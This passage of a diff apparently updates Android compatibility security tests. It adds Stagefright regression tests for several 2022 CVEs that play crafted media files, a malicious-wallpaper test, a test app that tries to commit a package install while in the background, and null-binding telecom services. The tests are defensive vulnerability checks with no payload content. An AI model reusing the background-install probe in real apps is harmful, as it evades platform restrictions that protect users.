+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1377,8 +1377,10 @@
};
server.start();
String uri = "rtsp://127.0.0.1:8080/cve_2016_3880";
- final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(new CrashUtils.Config()
- .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(
+ new CrashUtils.Config()
+ .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT)
+ .appendAbortMessageExcludes("CHECK\\(IsRTSPVersion"));
LooperThread t = new LooperThread(new Runnable() {
@Override
public void run() {
@@ -1809,6 +1811,60 @@
before any existing test methods
***********************************************************/
@Test
+ @AsbSecurityTest(cveBugId = 240971780)
+ public void testStagefright_cve_2022_33234() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_33234);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 235102508)
+ public void testStagefright_cve_2022_25669() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_25669);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223209306)
+ public void testStagefright_cve_2022_22085() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22085);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223209816)
+ public void testStagefright_cve_2022_22084() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22084);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223211218)
+ public void testStagefright_cve_2022_22086() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22086);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 228101819)
+ public void testStagefright_cve_2022_25659() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_25659);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223210917)
+ public void testStagefright_cve_2022_22083() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22083);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 223209610)
+ public void testStagefright_cve_2022_22087() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_22087);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 228101835)
+ public void testStagefright_cve_2022_25657() throws Exception {
+ doStagefrightTest(R.raw.cve_2022_25657);
+ }
+
+ @Test
@AsbSecurityTest(cveBugId = 231156126)
public void testStagefright_cve_2022_22059() throws Exception {
doStagefrightTest(R.raw.cve_2022_22059);
@@ -2437,6 +2493,11 @@
} catch (Exception e) {
// local exceptions ignored, not security issues
} finally {
+ try {
+ codec.stop();
+ } catch (Exception e) {
+ // local exceptions ignored, not security issues
+ }
codec.release();
renderTarget.destroy();
}
diff --git a/tests/tests/security/src/android/security/cts/StartForFutureActivity.kt b/tests/tests/security/src/android/security/cts/StartForFutureActivity.kt
index ed2c8e8..d5c535d 100644
--- a/tests/tests/security/src/android/security/cts/StartForFutureActivity.kt
+++ b/tests/tests/security/src/android/security/cts/StartForFutureActivity.kt
@@ -22,17 +22,22 @@
import java.util.concurrent.CompletableFuture
class StartForFutureActivity : Activity() {
- private val future = CompletableFuture<Instrumentation.ActivityResult>()
-
- fun startActivityForFuture(intent: Intent): CompletableFuture<Instrumentation.ActivityResult> {
+ fun startActivityForFuture(
+ intent: Intent,
+ future: CompletableFuture<Instrumentation.ActivityResult>
+ ) {
startActivityForResult(intent, 1)
- return future
+ StartForFutureActivity.future = future
}
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
super.onActivityResult(requestCode, resultCode, data)
-
- future.complete(Instrumentation.ActivityResult(resultCode, data))
+ future!!.complete(Instrumentation.ActivityResult(resultCode, data))
+ future = null
finish()
}
-}
\ No newline at end of file
+
+ companion object {
+ private var future: CompletableFuture<Instrumentation.ActivityResult>? = null
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/TestForegroundService.java b/tests/tests/security/src/android/security/cts/TestForegroundService.java
new file mode 100644
index 0000000..b09a925
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/TestForegroundService.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.IBinder;
+
+import org.junit.Assert;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class TestForegroundService extends Service {
+ private static BlockingQueue<Service> sQueue = new LinkedBlockingQueue<>();
+
+ private static final int FGS_NOTIFICATION_ID = 1;
+ private static final String NOTIFICATION_CHANNEL_ID =
+ TestForegroundService.class.getSimpleName();
+
+ @Override
+ public void onCreate() {
+ createNotificationChannelId(this, NOTIFICATION_CHANNEL_ID);
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ // When this service is started, make it a foreground service
+ final Notification.Builder builder =
+ new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(android.R.drawable.btn_star)
+ .setContentTitle(NOTIFICATION_CHANNEL_ID)
+ .setContentText(TestForegroundService.class.getName());
+ startForeground(FGS_NOTIFICATION_ID, builder.build());
+
+ try {
+ sQueue.put(this);
+ } catch (InterruptedException e) {
+ Assert.fail(e.toString());
+ }
+ return Service.START_NOT_STICKY;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ /** Create a notification channel. */
+ private static void createNotificationChannelId(Context context, String id) {
+ final NotificationManager nm =
+ context.getSystemService(NotificationManager.class);
+ final CharSequence name = id;
+ final String description = TestForegroundService.class.getName();
+ final int importance = NotificationManager.IMPORTANCE_DEFAULT;
+ final NotificationChannel channel = new NotificationChannel(
+ NOTIFICATION_CHANNEL_ID, name, importance);
+ channel.setDescription(description);
+ nm.createNotificationChannel(channel);
+ }
+
+ /** Wait until the service is started */
+ public static Service waitFor(long timeout, TimeUnit unit)
+ throws InterruptedException {
+ return sQueue.poll(timeout, unit);
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
index c9b5a3a..eeed518 100644
--- a/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/WallpaperManagerTest.java
@@ -19,9 +19,11 @@
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.Manifest;
+import android.app.ActivityManager;
import android.app.WallpaperManager;
import android.content.Context;
import android.content.res.AssetManager;
@@ -74,7 +76,9 @@
@After
public void tearDown() throws Exception {
- mWallpaperManager.clear(WallpaperManager.FLAG_SYSTEM | WallpaperManager.FLAG_LOCK);
+ if (mWallpaperManager != null) {
+ mWallpaperManager.clear(WallpaperManager.FLAG_SYSTEM | WallpaperManager.FLAG_LOCK);
+ }
InstrumentationRegistry.getInstrumentation().getUiAutomation()
.dropShellPermissionIdentity();
}
@@ -124,7 +128,8 @@
@Test
@AsbSecurityTest(cveBugId = 204087139)
public void testSetMaliciousStream() {
- unZipMaliciousImageFile();
+ ActivityManager am = mContext.getSystemService(ActivityManager.class);
+ assumeFalse(am.isLowRamDevice());
final File testImage = unZipMaliciousImageFile();
Assert.assertTrue(testImage.exists());
try (InputStream s = mContext.getContentResolver()
diff --git a/tests/tests/security/src/android/security/cts/WorkSourceTest.java b/tests/tests/security/src/android/security/cts/WorkSourceTest.java
new file mode 100644
index 0000000..1438b29
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/WorkSourceTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.os.WorkSource;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class WorkSourceTest extends StsExtraBusinessLogicTestCase {
+ private static final int TEST_PID = 6512;
+ private static final String TEST_PACKAGE_NAME = "android.security.cts";
+
+ @Test
+ @AsbSecurityTest(cveBugId = 220302519)
+ public void testWorkChainParceling() {
+ WorkSource ws = new WorkSource(TEST_PID, TEST_PACKAGE_NAME);
+ // Create a WorkChain so the mChains becomes non-null
+ ws.createWorkChain();
+ assertNotNull("WorkChains must be non-null in order to properly test parceling",
+ ws.getWorkChains());
+ // Then clear it so it's an empty list.
+ ws.getWorkChains().clear();
+ assertTrue("WorkChains must be empty in order to properly test parceling",
+ ws.getWorkChains().isEmpty());
+
+ Parcel p = Parcel.obtain();
+ ws.writeToParcel(p, 0);
+ p.setDataPosition(0);
+
+ // Read the Parcel back out and validate the two Parcels are identical
+ WorkSource readWs = WorkSource.CREATOR.createFromParcel(p);
+ assertNotNull(readWs.getWorkChains());
+ assertTrue(readWs.getWorkChains().isEmpty());
+ assertEquals(ws, readWs);
+
+ // Assert that we've read every byte out of the Parcel.
+ assertEquals(p.dataSize(), p.dataPosition());
+
+ p.recycle();
+ }
+}
diff --git a/tests/tests/security/testdata/packageinstallertestapp.xml b/tests/tests/security/testdata/packageinstallertestapp.xml
index 5e6e066..ad39db5 100644
--- a/tests/tests/security/testdata/packageinstallertestapp.xml
+++ b/tests/tests/security/testdata/packageinstallertestapp.xml
@@ -34,5 +34,6 @@
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
+ <receiver android:name=".BackgroundReceiver" android:exported="true" />
</application>
</manifest>
diff --git a/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/BackgroundReceiver.java b/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/BackgroundReceiver.java
new file mode 100644
index 0000000..8997082
--- /dev/null
+++ b/tests/tests/security/testdata/src/android/security/cts/packageinstallertestapp/BackgroundReceiver.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.packageinstallertestapp;
+
+import static android.content.Intent.EXTRA_COMPONENT_NAME;
+import static android.content.Intent.EXTRA_REMOTE_CALLBACK;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+
+import android.app.ActivityManager;
+import android.app.ActivityManager.RunningAppProcessInfo;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.Session;
+import android.content.pm.PackageInstaller.SessionParams;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+import java.io.IOException;
+import java.util.List;
+
+/**
+ * A receiver to invoke APIs in the background.
+ */
+public class BackgroundReceiver extends BroadcastReceiver {
+ private static final String PKG_NAME = "android.security.cts.packageinstallertestapp";
+ private static final String KEY_ERROR = "key_error";
+ private static final String ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER = PKG_NAME
+ + ".action.COMMIT_WITH_ACTIVITY_INTENT_SENDER";
+ private static final String ACTION_COMMIT_WITH_FG_SERVICE_INTENT_SENDER = PKG_NAME
+ + ".action.COMMIT_WITH_FG_SERVICE_INTENT_SENDER";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final RemoteCallback remoteCallback = intent.getParcelableExtra(EXTRA_REMOTE_CALLBACK,
+ RemoteCallback.class);
+ final ComponentName statusReceiver = intent.getParcelableExtra(
+ EXTRA_COMPONENT_NAME, ComponentName.class);
+ final String action = intent.getAction();
+
+ if (!isAppInBackground(context)) {
+ sendError(remoteCallback,
+ new IllegalStateException("App is not in background"));
+ return;
+ }
+ try {
+ if (action.equals(ACTION_COMMIT_WITH_ACTIVITY_INTENT_SENDER)) {
+ final IntentSender intentSender = PendingIntent.getActivity(context,
+ 0 /* requestCode */,
+ new Intent().setComponent(statusReceiver),
+ PendingIntent.FLAG_IMMUTABLE)
+ .getIntentSender();
+ sendInstallCommit(context, remoteCallback, intentSender);
+ } else if (action.equals(ACTION_COMMIT_WITH_FG_SERVICE_INTENT_SENDER)) {
+ final IntentSender intentSender = PendingIntent.getForegroundService(context,
+ 0 /* requestCode */,
+ new Intent().setComponent(statusReceiver),
+ PendingIntent.FLAG_IMMUTABLE)
+ .getIntentSender();
+ sendInstallCommit(context, remoteCallback, intentSender);
+ } else {
+ sendError(remoteCallback,
+ new IllegalArgumentException("Unknown action: " + action));
+ }
+ } catch (Throwable e) {
+ sendError(remoteCallback, e);
+ }
+ }
+
+ private static boolean isAppInBackground(Context context) {
+ final ActivityManager activityManager = context.getSystemService(ActivityManager.class);
+ final List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();
+ final String packageName = context.getPackageName();
+ final RunningAppProcessInfo appInfo = appProcesses.stream()
+ .filter(app -> app.processName.equals(packageName))
+ .findAny().orElse(null);
+ if (appInfo != null
+ && appInfo.importance >= RunningAppProcessInfo.IMPORTANCE_SERVICE) {
+ return true;
+ }
+ return false;
+ }
+
+ private static void sendInstallCommit(Context context, RemoteCallback remoteCallback,
+ IntentSender intentSender) throws IOException {
+ final PackageInstaller packageInstaller =
+ context.getPackageManager().getPackageInstaller();
+ final int sessionId = packageInstaller.createSession(
+ new SessionParams(MODE_FULL_INSTALL));
+ final Session session = packageInstaller.openSession(sessionId);
+ session.commit(intentSender);
+ sendSuccess(remoteCallback);
+ }
+
+ private static void sendError(RemoteCallback remoteCallback, Throwable failure) {
+ Bundle result = new Bundle();
+ result.putSerializable(KEY_ERROR, failure);
+ remoteCallback.sendResult(result);
+ }
+
+ private static void sendSuccess(RemoteCallback remoteCallback) {
+ Bundle result = new Bundle();
+ remoteCallback.sendResult(result);
+ }
+}
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
index 891a682..24c63fb 100644
--- a/tests/tests/slice/Android.bp
+++ b/tests/tests/slice/Android.bp
@@ -34,6 +34,7 @@
"metrics-helper-lib",
"mockito-target-inline-minus-junit4",
"platform-test-annotations",
+ "sts-device-util",
"ub-uiautomator",
],
compile_multilib: "both",
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
index e6c621a..cd6eb84 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -24,6 +24,7 @@
import android.platform.test.annotations.AsbSecurityTest
import androidx.test.rule.ActivityTestRule
import androidx.test.runner.AndroidJUnit4
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
import org.junit.Before
import org.junit.Assume.assumeFalse
@@ -39,7 +40,7 @@
private const val SHADY_ACTION_URI_STRING = "content://$SUSPICIOUS_AUTHORITY$ACTION_BLUETOOTH"
@RunWith(AndroidJUnit4::class)
-class SliceProviderTest {
+class SliceProviderTest : StsExtraBusinessLogicTestCase {
@Rule @JvmField var activityTestRule = ActivityTestRule(Launcher::class.java)
@@ -51,6 +52,8 @@
private var isSlicesDisabled: Boolean = false
+ constructor() : super()
+
@Before
fun setUp() {
contentResolver = activityTestRule.activity.contentResolver
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 1b1d48e..da8f52c 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -87,6 +87,22 @@
</intent-filter>
</service>
+ <service android:name=".NullBindingCallScreeningService"
+ android:permission="android.permission.BIND_SCREENING_SERVICE"
+ android:enabled="false"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telecom.CallScreeningService"/>
+ </intent-filter>
+ </service>
+
+ <service android:name=".NullBindingCallRedirectionServiceController"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telecom.cts.ACTION_CONTROL_CALL_REDIRECTION_SERVICE"/>
+ </intent-filter>
+ </service>
+
<service android:name="android.telecom.cts.MockInCallService"
android:permission="android.permission.BIND_INCALL_SERVICE"
android:exported="true">
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 439b377..dbdf851 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -89,6 +89,7 @@
public static final int FLAG_REGISTER = 0x1;
public static final int FLAG_ENABLE = 0x2;
public static final int FLAG_SET_DEFAULT = 0x4;
+ public static final int FLAG_PHONE_ACCOUNT_HANDLES_CONTENT_SCHEME = 0x8;
// Don't accidently use emergency number.
private static int sCounter = 5553638;
@@ -360,7 +361,12 @@
CtsConnectionService.setUp(this.connectionService);
if ((flags & FLAG_REGISTER) != 0) {
- mTelecomManager.registerPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT);
+ if ((flags & FLAG_PHONE_ACCOUNT_HANDLES_CONTENT_SCHEME) != 0) {
+ mTelecomManager.registerPhoneAccount(
+ TestUtils.TEST_PHONE_ACCOUNT_THAT_HANDLES_CONTENT_SCHEME);
+ } else {
+ mTelecomManager.registerPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT);
+ }
}
if ((flags & FLAG_ENABLE) != 0) {
TestUtils.enablePhoneAccount(getInstrumentation(), TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
@@ -723,6 +729,29 @@
}
/**
+ * Verifies that a call was not placed
+ */
+ void placeAndVerifyNoCall(Bundle extras) {
+ assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
+ placeNewCallWithPhoneAccount(extras, 0);
+
+ try {
+ if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ }
+ } catch (InterruptedException e) {
+ Log.i(TAG, "Test interrupted!");
+ }
+
+ // Make sure any procedures to disconnect existing calls (makeRoomForOutgoingCall)
+ // complete successfully
+ TestUtils.waitOnLocalMainLooper(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+
+ assertNull("Service should be null since call should not have been placed",
+ mInCallCallbacks.getService());
+ }
+ /**
* Puts Telecom in a state where there is an active call provided by the
* {@link CtsConnectionService} which can be tested.
*/
@@ -856,6 +885,21 @@
return null;
}
+ void verifyNoConnectionForOutgoingCall() {
+ try {
+ if (!connectionService.lock.tryAcquire(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+ TimeUnit.MILLISECONDS)) {
+ //fail("No outgoing call connection requested by Telecom");
+ }
+ } catch (InterruptedException e) {
+ Log.i(TAG, "Test interrupted!");
+ }
+
+ assertThat("Telecom should not create outgoing connection for outgoing call",
+ connectionService.outgoingConnections.size(), equalTo(0));
+ return;
+ }
+
MockConnection verifyConnectionForIncomingCall() {
// Assuming only 1 connection present
return verifyConnectionForIncomingCall(0);
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
index 53a36c9..060afe9 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
@@ -25,7 +25,6 @@
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
-
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
@@ -33,13 +32,14 @@
import android.os.Looper;
import android.os.Process;
import android.os.UserHandle;
-
import android.telecom.Call;
import android.telecom.PhoneAccount;
+import android.telecom.TelecomManager;
import android.telecom.cts.redirectiontestapp.CtsCallRedirectionService;
import android.telecom.cts.redirectiontestapp.CtsCallRedirectionServiceController;
import android.telecom.cts.redirectiontestapp.ICtsCallRedirectionServiceController;
import android.text.TextUtils;
+import android.util.Log;
import com.android.compatibility.common.util.CddTest;
@@ -91,7 +91,7 @@
NewOutgoingCallBroadcastReceiver.reset();
mHandler = new Handler(Looper.getMainLooper());
mRoleManager = (RoleManager) mContext.getSystemService(Context.ROLE_SERVICE);
- setupControlBinder();
+ setupControlBinder(null, null);
setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
rememberPreviousCallRedirectionApp();
// Ensure CTS app holds the call redirection role.
@@ -230,16 +230,46 @@
assertFalse(mCallRedirectionServiceController.waitForOnPlaceCallInvoked());
}
+ public void testServiceUnbindOnNullBinding()
+ throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+ // Set up control binder using NullBindingCallRedirectionServiceController.
+ // This will invoke onNullBinding.
+ setupControlBinder(NullBindingCallRedirectionServiceController.CONTROL_INTERFACE_ACTION,
+ NullBindingCallRedirectionServiceController.CONTROL_INTERFACE_COMPONENT);
+ Bundle extras = new Bundle();
+ extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
+ TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+ mTelecomManager.placeCall(createTestNumber(), extras);
+ TestUtils.waitOnLocalMainLooper(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+ // Assert bind and unbind latch countdown
+ assertTrue(TestUtils.waitForLatchCountDown(
+ NullBindingCallRedirectionServiceController.sBindLatch));
+ assertTrue(TestUtils.waitForLatchCountDown(
+ NullBindingCallRedirectionServiceController.sUnbindLatch));
+ }
+
/**
* Sets up a binder used to control the CallRedirectionServiceCtsTestApp.
* This app is a standalone APK so that it can reside in a package name outside of the one the
* CTS test itself runs in.
* @throws InterruptedException
*/
- private void setupControlBinder() throws InterruptedException {
- Intent bindIntent = new Intent(
- CtsCallRedirectionServiceController.CONTROL_INTERFACE_ACTION);
- bindIntent.setComponent(CtsCallRedirectionServiceController.CONTROL_INTERFACE_COMPONENT);
+ private void setupControlBinder(String interfaceAction,
+ ComponentName interfaceComponentName) throws InterruptedException {
+ if (interfaceAction == null) {
+ interfaceAction = CtsCallRedirectionServiceController.CONTROL_INTERFACE_ACTION;
+ }
+ if (interfaceComponentName == null) {
+ interfaceComponentName =
+ CtsCallRedirectionServiceController.CONTROL_INTERFACE_COMPONENT;
+ }
+
+ Intent bindIntent = new Intent(interfaceAction);
+ bindIntent.setComponent(interfaceComponentName);
final CountDownLatch bindLatch = new CountDownLatch(1);
boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
@@ -253,6 +283,15 @@
public void onServiceDisconnected(ComponentName name) {
mCallRedirectionServiceController = null;
}
+
+ @Override
+ public void onNullBinding(ComponentName name) {
+ // This path will only be hit if NullBindingCallRedirectionServiceController is set
+ // as the controller.
+ Log.i(TAG, "onNullBinding: null binding received from onBind");
+ bindLatch.countDown();
+ mContext.unbindService(this);
+ }
}, Context.BIND_AUTO_CREATE);
if (!success) {
fail("Failed to get control interface -- bind error");
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingCallRedirectionServiceController.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallRedirectionServiceController.java
new file mode 100644
index 0000000..2ffc6d6
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallRedirectionServiceController.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.IBinder;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+
+public class NullBindingCallRedirectionServiceController extends Service {
+ private static final String TAG = NullBindingCallRedirectionServiceController.class
+ .getSimpleName();
+ public static final String CONTROL_INTERFACE_ACTION =
+ "android.telecom.cts.ACTION_CONTROL_CALL_REDIRECTION_SERVICE";
+ public static final ComponentName CONTROL_INTERFACE_COMPONENT =
+ ComponentName.unflattenFromString(
+ "android.telecom.cts/.NullBindingCallRedirectionServiceController");
+
+ public static CountDownLatch sBindLatch = new CountDownLatch(1);
+ public static CountDownLatch sUnbindLatch = new CountDownLatch(1);
+
+ private static NullBindingCallRedirectionServiceController
+ sCallRedirectionServiceController = null;
+
+
+ public static NullBindingCallRedirectionServiceController getInstance() {
+ return sCallRedirectionServiceController;
+ }
+
+ public static void resetBindLatches() {
+ sBindLatch = new CountDownLatch(1);
+ sUnbindLatch = new CountDownLatch(1);
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ Log.i(TAG, "onBind: returning null binding");
+ sCallRedirectionServiceController = this;
+ // Treat case as null binding from onBind. This should hit onNullBinding.
+ sUnbindLatch = new CountDownLatch(1);
+ sBindLatch.countDown();
+ return null;
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ Log.i(TAG, "onUnbind: unbinding service");
+ sCallRedirectionServiceController = null;
+ sUnbindLatch.countDown();
+ return false;
+ }
+}
+
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningService.java
new file mode 100644
index 0000000..6b6e5ed
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningService.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.IBinder;
+import android.telecom.Call;
+import android.telecom.CallScreeningService;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Provides a minimal CTS-test implementation of {@link CallScreeningService}.
+ * This emulates an implementation of {@link CallScreeningService} that returns a null binding.
+ * This is used to test null binding cases to ensure we unbind the service when a null binding is
+ * received from onBind.
+ */
+public class NullBindingCallScreeningService extends CallScreeningService {
+ private static final String TAG = NullBindingCallScreeningService.class.getSimpleName();
+ public static CountDownLatch sBindLatch = new CountDownLatch(1);
+ public static CountDownLatch sUnbindLatch = new CountDownLatch(1);
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ Log.i(TAG, "onBind: returning null service");
+ sUnbindLatch = new CountDownLatch(1);
+ sBindLatch.countDown();
+ return null;
+ }
+
+ @Override
+ public boolean onUnbind(Intent intent) {
+ Log.i(TAG, "onUnbind: unbinding service");
+ sBindLatch = new CountDownLatch(1);
+ sUnbindLatch.countDown();
+ return false;
+ }
+
+ @Override
+ public void onScreenCall(Call.Details callDetails) {
+ Log.i(TAG, "onScreenCall");
+ }
+
+ public static void resetBindLatches() {
+ sBindLatch = new CountDownLatch(1);
+ sUnbindLatch = new CountDownLatch(1);
+ }
+
+ public static void enableNullBindingCallScreeningService(Context context) {
+ ComponentName componentName = new ComponentName(context,
+ NullBindingCallScreeningService.class);
+ context.getPackageManager().setComponentEnabledSetting(componentName,
+ PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+ PackageManager.DONT_KILL_APP);
+ }
+
+ public static void disableNullBindingCallScreeningService(Context context) {
+ ComponentName componentName = new ComponentName(context,
+ NullBindingCallScreeningService.class);
+ context.getPackageManager().setComponentEnabledSetting(componentName,
